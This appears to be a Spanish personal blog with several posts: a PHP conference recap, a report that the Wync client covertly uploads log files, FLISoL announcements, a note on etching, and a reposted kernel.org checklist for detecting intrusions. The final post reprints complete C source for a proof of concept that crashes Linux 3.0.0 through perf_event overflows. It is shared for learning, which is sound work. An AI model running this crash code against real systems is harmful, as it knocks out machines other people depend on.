PHP Conference Argentina – Buenos Aires / 7-8 Nov 2014

Estoy con poco tiempo de escribir notas en el blog asi que voy a ser algo rápido, asistí a la PHP Conference Argentina los días 7 y 8 de Noviembre en el Centro Cultural Konex, el lugar esta muy bueno para eventos.

 cayu_konex 1

A la hora del almuerzo optamos por una parrilla detrás del abastoparilla

En el evento nos esperaban con Muffins ! 😀

muffins

Habia varias charlas2 konex

La mejor por lejos era la de los chicos de la UTN de usar los GPIO de la BeagleBone Black, muy entretenido y algo parecido a lo que estoy haciendo3 4

La verdad que muy entretenido todo, esperemos que se repita y que opten por mas charlas técnicas

Seguime :

Wync o alternativa a Microsoft Lync !

Se me ocurrió probar esta aplicación que es un cliente propietario que funciona bajo Linux para Microsoft Lync.

Tiene una interfaz “amigable” como todos los productos corporativos inútiles

wync1
wync2

Cuando de fondo se ve esto por STDOUT


adding: wcorestack.log (deflated 91%)
adding: corestack1399904385.log (deflated 91%)
adding: corestack1399906064.log (deflated 92%)
item_list: 20705536[{"self":"https://fisilci.atlassian.net/rest/api/2/attachment/37346","id":"37346","filename":"logs.zip","author":{"self":"https://fisilci.atlassian.net/rest/api/2/user?username=wync_linux2_reporter","name":"wync_linux2_reporter","emailAddress":"danghieu.ac1@gmail.com","avatarUrls":{"16x16":"https://fisilci.atlassian.net/secure/useravatar?size=xsmall&avatarId=10122","24x24":"https://fisilci.atlassian.net/secure/useravatar?size=small&avatarId=10122","32x32":"https://fisilci.atlassian.net/secure/useravatar?size=medium&avatarId=10122","48x48":"https://fisilci.atlassian.net/secure/useravatar?avatarId=10122"},"displayName":"Wync Linux 2 Reporter","active":true},"created":"2014-05-12T07:49:38.774-0700","size":361890,"mimeType":"application/zip","content":"https://fisilci.atlassian.net/secure/attachment/37346/logs.zip"}][{"self":"https://fisilci.atlassian.net/rest/api/2/attachment/37347","id":"37347","filename":"logs.zip","author":{"self":"https://fisilci.atlassian.net/rest/api/2/user?username=wync_linux2_reporter","name":"wync_linux2_reporter","emailAddress":"danghieu.ac1@gmail.com","avatarUrls":{"16x16":"https://fisilci.atlassian.net/secure/useravatar?size=xsmall&avatarId=10122","24x24":"https://fisilci.atlassian.net/secure/useravatar?size=small&avatarId=10122","32x32":"https://fisilci.atlassian.net/secure/useravatar?size=medium&avatarId=10122","48x48":"https://fisilci.atlassian.net/secure/useravatar?avatarId=10122"},"displayName":"Wync Linux 2 Reporter","active":true},"created":"2014-05-12T07:49:51.774-0700","size":369440,"mimeType":"application/zip","content":"https://fisilci.atlassian.net/secure/attachment/37347/logs.zip"}]

Envia un archivo logs.zip a algún lugar que son los registros los zip comprimidos y en ellos esta toda nuestra libreta de direcciones y varios datos mas de nuestro servidor Lync.

Y ejecutando un strace vemos que hace varios llamados a sip.nextuc.net

Lo que primero que hay que hacer despues de esto es cambiar rápidamente nuestra contaseña, y borrar la porquería de nuestra máquina.

Pero es bastante mala onda este tipo de conducta en cualquier programa.

Seguime :

Festival Latinoamericano de Instalación de Software Libre (FLISoL) 2013

Sobre FLISOL en Lanús (Buenos Aires)

Para promover el uso de Software Libre y la integración de comunidades de usuarios de Software Libre LANUX se suma a este festival

El 27 de abril se viene el Flisol o Festival Latinoamericano de Instalación de Software Libre, el evento de difusión de Tecnologías Libres más grande en Latinoamérica.

Su principal objetivo es promover el uso de software, tecnologías y contenidos libres, dando a conocer su filosofía, alcances, avances y desarrollos en el ámbito artístico, académico y empresarial.

Como todos los años en Lanúsla organizamos nosotros y se realizará en la Universidad Kennedy (sede Lanús).

No podes faltar!

Además de realizar instalaciones de GNU/Linux y otros Software Libre, vamos a aprovechar para aclarar dudas, y dar algunas charlas introductorias a Linux.

También se copiaran CD’s de diferentes distribuciones y de Software Libre para todas las plataformas.

Tenés que traer tú PC, esta debe tener espacio libre en el disco. Si queres instalar GNU/Linux, te pedimos que antes de venir defragmentes cualquier partición de Windows que tengas, para ahorrar tiempo.

Lugar

Universidad Kennedy de Lanús (Av. Hipólito Yrigoyen 4651 a 50 mtrs de la estación).



Actividades

 

Aunque la atracción principal del evento es la instalación de software libre en las computadoras que traen los participantes, también se darán charlas introductorias sobre software libre o proyectos relacionados. Este año incluiremos las siguientes charlas:

  • Primeros pasos en Linux y el Software Libre Software Libre vs Software Privativo.
  • Alternativas Libres ¿Qué programas libres hay para reemplazar a los que ya utilizo?
  • Raspberry Pi Que se puede hacer con esta mini computadora super económica y como conseguirla.
  • Privacidad en épocas de la “nube” ¿Intercambiando comodidad por privacidad?

Mas info en el sitio Web de Lanux

Seguime :

Aguafuerte

Según Wikipedia :

El aguafuerte es una modalidad de grabado que se efectúa tomando como base una plancha o lámina de aleación metálica, habitualmente de hierro, zinc y, más frecuentemente, cobre. Ésta se recubre de una fina capa de barniz protector, o de cera resistente a los ácidos. El grabador dibuja con un estilete de punta cónica muy afilada en esta capa de barniz, llegando justo hasta el cobre sin penetrar en él. Posteriormente se sumerge la lámina con su barniz en una solución de agua y ácido nítrico, esto es el aguafuerte propiamente dicho. Esta solución corroe el cobre en las zonas en que éste no está protegido por el barniz, y deja unos surcos.

 

Básicamente pinto la chapa con pintura asfáltica, después dibujo con un punzón para dejar descubiertas ciertas partes y se sumerge en ácido nítrico, obteniendo un resultado como éste :

Seguime :

Festival Latinoamericano de Instalación de Software Libre (FLISoL) 2012

Sobre FLISOL en Lanús (Buenos Aires)

Para promover el uso de Software Libre y la integración de comunidades de usuarios de Software Libre LANUX se suma a este festival, y te invita a participar el día Sábado 28 de Abril de 10:00 hs a 16:30hs.

No podes faltar!

Además de realizar instalaciones de GNU/Linux y otros Software Libre, vamos a aprovechar para aclarar dudas, y dar algunas charlas introductorias a Linux.

También se copiaran CD’s de diferentes distribuciones y de Software Libre para todas las plataformas.

Tenés que traer tú PC, esta debe tener espacio libre en el disco. Si queres instalar GNU/Linux, te pedimos que antes de venir defragmentes cualquier partición de Windows que tengas, para ahorrar tiempo. Recomendamos leer a todos los usarios la siguiente guía.

Lugar y Horario

Universidad Kennedy de Lanús (Av. Hipólito Yrigoyen 4651 a 50 mtrs de la estación)
desde las 10:00 hasta las 16:30





Actividades

Horario Actividad Comentarios útiles
10:00 – 10:30 Inscripción
10:30 – 11:00 Pequeña introducción al evento
11:00 – 13:00 Primer sesión de instalaciones Se instalará Linux al primer grupo
13:00 – 14:30 Almuerzo Salida para almorzar
14:30 – 16:30 Segunta sesión de instalaciones Se instalará Linux al segundo grupo
16:30 Fin del evento

Registración

Para inscribirte hace click Aquí.

Nota: ingresá los datos de tu PC ej: capacidad Disco Rígido, si es IDE,PATA, SATA,SCSI, cantidad de memoria, Procesador, si es posible el chipset del mother/video/red.Lo más detallado posible, nos ayudará a prepararno para la instalación. Gracias!

Organización

* Grupo de usuarios de GNU/Linux de Lanús Lanux (http://www.lanux.org.ar)

Como Ayudar

Para colaborar en la organización y/o realización del evento puede contactarte desde la lista de correo

Seguime :

Vuelve Kernel.org (parcialmente)

Después del grave problema de seguridad vuelve Kernel.org, aunque con cosas parciales, estuve bajando el código del Kernel últimamente de github, pero no es muy cómodo que digamos

aca un mail de recomendación para los desarrolladores del núcleo de la lista de correo de LKML (es bueno también como recomendación para tener en cuenta para todos los días en la computadora de casa)

The compromise of kernel.org and related machines has made it clear that
some developers, at least, have had their systems penetrated.  As we
seek to secure our infrastructure, it is imperative that nobody falls
victim to the belief that it cannot happen to them.  We all need to
check our systems for intrusions.  Here are some helpful hints as
proposed by a number of developers on how to check to see if your Linux
machine might be infected with something:


0. One way to be sure that your system is not compromised is to simply
   do a clean install; we can all benefit from a new start sometimes.
   Before reinstalling any systems, though, consider following the steps
   below to learn if your system has been hit or not.

1. Install the chkrootkit package from your distro repository and see if it
   reports anything.  If your distro doesn't have the chkroot package,
   download it from:
	http://www.chkrootkit.org/

   Another tool is the ossec-rootcheck tool which can be found at:
	http://www.ossec.net/main/rootcheck

   And another one is the rkhunter program:
   	http://www.rootkit.nl/projects/rootkit_hunter.html
   [Note, this tool has the tendancy to give false-positives on some
   Debian boxes, please read /usr/share/doc/rkhunter/README.Debian.gz if
   you run this on a Debian machine]

2. Verify that your package signatures match what your package manager thinks
   they are.

   To do this on a rpm-based system, run the following command:
   	rpm --verify --all
   Please read the rpm man page for information on how to interpret the
   output of this command.

   To do this on a Debian based system, run the following bash snippet:
	dpkg -l \*|while read s n rest; do if [ "$s" == "ii" ]; then echo $n;
	fi; done > ~/tmp.txt
	for f in `cat ~/tmp.txt`; do debsums -s -a $f; done
   If you have a source-based system (Gentoo, LFS, etc.) you presumably
   know what you are doing already.

3. Verify that your packages are really signed with the distro's keys.

   Here's a bash snippet that can do this on a rpm based system to
   verify that the packages are signed with any key, not necessarily
   your distro's key.  That exercise is left for the reader:

	for package in `rpm -qa`; do
		sig=`rpm -q --qf '%{SIGPGP:pgpsig}\n' $package`
		if [ -z "$sig" ] ; then
			# check if there is a GPG key, not a PGP one
			sig=`rpm -q --qf '%{SIGGPG:pgpsig}\n' $package`
			if [ -z "$sig" ] ; then
				echo "$package does not have a signature!!!"
			fi
		fi
	done
   Unfortunately there is no known way of verifying this on Debian-based
   systems.

4. To replace a package that you find suspect, uninstall it and install
   it anew from your distro.  For example, if you want to reinstall the
   ssh daemon, you would do:
	$ /etc/init.d/sshd stop
	rpm -e openssh
	zypper install openssh	# for openSUSE based systems
	yum install openssh	# for Fedora based systems

   Ideally do this from a live cdrom boot, using the 'rpm --root' option
   to point rpm at the correct location.


5. From a liveCD environment, look for traces such as:
   a. Rogue startup scripts in /etc/rc*.d and equivalent directories.
   b. Strange directories in /usr/share that do not belong to a package.
      This can be checked on an rpm system with the following bash snippet:
	for file in `find /usr/share/`; do
		package=`rpm -qf -- ${file} | grep "is not owned"`
		if [ -n "$package" ] ; then
			echo "weird file ${file}, please check this out"
		fi
	done
6. Look for mysterious log messages, such as:
   a. Unexpected logins in wtmp and /var/log/secure*, quite possibly
      from legitimate users from unexpected hosts.
   b. Any program trying to touch /dev/mem.
   c. References to strange (non-text) ssh version strings in
      /var/log/secure*.  These do not necessarily indicate *successful*
      breakins, but they indicate *attempted* breakins which means your
      system or IP address has been targeted.

7. If any of the above steps show possible signs of compromise, you
   should investigate further and identify the actual cause.  If it
   becomes clear that the system has indeed been compromised, you should
   certainly reinstall the system from the beginning, and change your
   credentials on all machines that this machine would have had access
   to, or which you connected to through this machine.  You will need
   to check your other systems carefully, and you should almost
   certainly notify the administrators of other systems to which you
   have access.

Finally, please note that these hints are not guaranteed to turn up
signs of a compromised systems.  There are a lot of attackers out there;
some of them are rather more sophisticated than others.  You should
always be on the alert for any sort of unexpected behavior from the
systems you work with.


thanks,
Seguime :

Linux 3.0.0 crash oflo_sw_cpu_clock_crash

Mirando sitios como http://1337day.com/ y http://www.gossamer-threads.com/ encontre uno de tantos bugs para el kernel 3.0, pero aca hay un ejemplo de explotación de uno, esta bueno para aprender un poco mas de funcionamiento del Kernel. Ademas en gossamer-threads pueden encontrar varios mensajes de listas de correo muy interesantes

Básicamente tenemos un crash en el SO, lo que esta bueno es que al ser un código pequeño se puede analizar fácilmente

/* Error with overflows and perf::perf_count_sw_cpu_clock                    */
/* This test will crash Linux 3.0.0                                          */
/* compile with gcc -O2 -o oflo_sw_cpu_clock_crash oflo_sw_cpu_clock_crash.c */

/* by Vince Weaver <vweaver1 _at_ eecs.utk.edu>                              */

#define _GNU_SOURCE 1

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <fcntl.h>

#include <linux/perf_event.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <asm/unistd.h>
#include <sys/ioctl.h>

#include <sys/mman.h>

#include <signal.h>

#include <sys/prctl.h>

#define MATRIX_SIZE 512
static double a[MATRIX_SIZE][MATRIX_SIZE];
static double b[MATRIX_SIZE][MATRIX_SIZE];
static double c[MATRIX_SIZE][MATRIX_SIZE];

static void naive_matrix_multiply(int quiet) {

  double s;
  int i,j,k;

  for(i=0;i<MATRIX_SIZE;i++) {
    for(j=0;j<MATRIX_SIZE;j++) {
      a[i][j]=(double)i*(double)j;
      b[i][j]=(double)i/(double)(j+5);
    }
  }

  for(j=0;j<MATRIX_SIZE;j++) {
     for(i=0;i<MATRIX_SIZE;i++) {
        s=0;
        for(k=0;k<MATRIX_SIZE;k++) {
	   s+=a[i][k]*b[k][j];
	}
        c[i][j] = s;
     }
  }

  s=0.0;
  for(i=0;i<MATRIX_SIZE;i++) {
    for(j=0;j<MATRIX_SIZE;j++) {
      s+=c[i][j];
    }
  }

  if (!quiet) printf("Matrix multiply sum: s=%lf\n",s);

  return;
}

static int total=0;

void our_handler(int signum,siginfo_t *oh, void *blah) {

  int fd=oh->si_fd;

  ioctl(fd , PERF_EVENT_IOC_DISABLE,0);
  total++;
  ioctl(fd , PERF_EVENT_IOC_REFRESH,1);
}

int perf_event_open(struct perf_event_attr *hw_event_uptr,
		    pid_t pid, int cpu, int group_fd, unsigned long flags) {

  return syscall(__NR_perf_event_open,hw_event_uptr,pid,cpu,group_fd,flags);

}

int main( int argc, char **argv ) {

	int fd;
	void *blargh;

	struct perf_event_attr pe;

	struct sigaction sa;

	memset(&sa, 0, sizeof(struct sigaction));
	sa.sa_sigaction=our_handler;
	sa.sa_flags=SA_SIGINFO;

	if (sigaction(SIGIO,&sa,NULL)<0) {
	  fprintf(stderr,"Error setting up signal handler\n");
	  exit(1);
	}

        memset(&pe,0,sizeof(struct perf_event_attr));	
	pe.type=PERF_TYPE_SOFTWARE;
	pe.size=sizeof(struct perf_event_attr);
        pe.config=PERF_COUNT_SW_CPU_CLOCK;
	pe.sample_period=100000;
	pe.sample_type=PERF_SAMPLE_IP;
	pe.read_format=PERF_FORMAT_GROUP|PERF_FORMAT_ID;
	pe.disabled=1;
	pe.pinned=1;
	pe.exclude_kernel=1;
	pe.exclude_hv=1;
	pe.wakeup_events=1;

	fd=perf_event_open(&pe,0,-1,-1,0);
	if (fd<0) {
	   printf("Error opening\n");
	}

	blargh=mmap(NULL,(1+2)*4096,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0);
	fcntl(fd,F_SETFL,O_RDWR|O_NONBLOCK|O_ASYNC);
	fcntl(fd,F_SETSIG,SIGIO);
	fcntl(fd,F_SETOWN,getpid());

	ioctl(fd,PERF_EVENT_IOC_RESET,0);
	ioctl(fd,PERF_EVENT_IOC_ENABLE,0);

	naive_matrix_multiply(0);

	ioctl(fd,PERF_EVENT_IOC_DISABLE,0);
	munmap(blargh,(1+2)*4096);
	close(fd);

	printf("Total overflows: %d\n",total);

	return 0;
}

Referencias :
http://1337day.com/exploits/16813
http://www.gossamer-threads.com/lists/engine?do=post_attachment;postatt_id=43808;list=linux
http://www.securityhome.eu/exploits/

Seguime :